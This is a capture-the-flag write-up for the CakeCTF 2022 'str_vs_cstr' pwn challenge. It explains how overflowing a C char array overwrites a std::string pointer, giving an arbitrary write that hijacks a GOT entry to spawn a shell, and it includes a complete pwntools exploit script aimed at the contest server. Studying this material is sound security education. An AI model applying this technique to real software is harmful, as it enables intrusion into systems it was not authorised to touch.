0x0 Introduction Which do you like, C string or C++ string?
nc pwn1.2022.cakectf.com 9003
Files: str_vs_cstr_f088c31cd2d3c18483e24f38df724cad.tar.gz
0x1 Mitigation 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
0x2 Vulnerability In C++, string are dynamically allocated in the heap. So, it will appear as a pointer in the stack
There is a struct Test
Exists in the stack and Program allow us to modify both c_str
and str
.
Therefore we can overwrite the address of _str
using _c_str
, and then we have a write anywhere.
1 2 char _c_str[0x20]; std::string _str;
Program is parial RELRO, therefore we can overwrite a function in GOT to win
fucntion and get a shell.
1 2 3 4 5 6 7 private: __attribute__((used)) void call_me() { std::system("/bin/sh"); } };
one thing to notice is C++ will replace last \n
to a null bytes - make sure do not put extra bytes that may have effect on other data we don't want modify.
0x3 Solution 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *exe = ELF("chall" ) exe_rop = ROP(exe) context.binary = exe def log_print (*msg ): log.info(" " .join(map (str ,msg))) lp = log_print def start (): if args.LOCAL: r = process([exe.path]) if args.R2: input ("Wait r2 attach" ) else : r = remote("pwn1.2022.cakectf.com" , 9003 ) return r io = start() io.sendlineafter(b"choice: " ,b'3' ) io.sendlineafter(b"str: " ,b'A' *8 ) io.sendlineafter(b"choice: " ,b'1' ) io.sendlineafter(b"c_str: " ,flat({ 0x20 :0x00404028 })) io.sendlineafter(b"choice: " ,b'3' ) io.sendlineafter(b"str: " ,b'\xde\x16\x40\x00\x00\x00' ) io.sendlineafter(b"choice: " ,b'1' ) io.sendlineafter(b"str: " ,flat({ 0x20 : 0x0404a00 , 0x28 : 8 , 0x40 :0 },length=0x50 )) io.sendlineafter(b"choice: " ,b'3' ) io.sendlineafter(b"str: " ,b'A' *0x20 ) io.sendlineafter(b"choice: " ,b'5' ) io.interactive()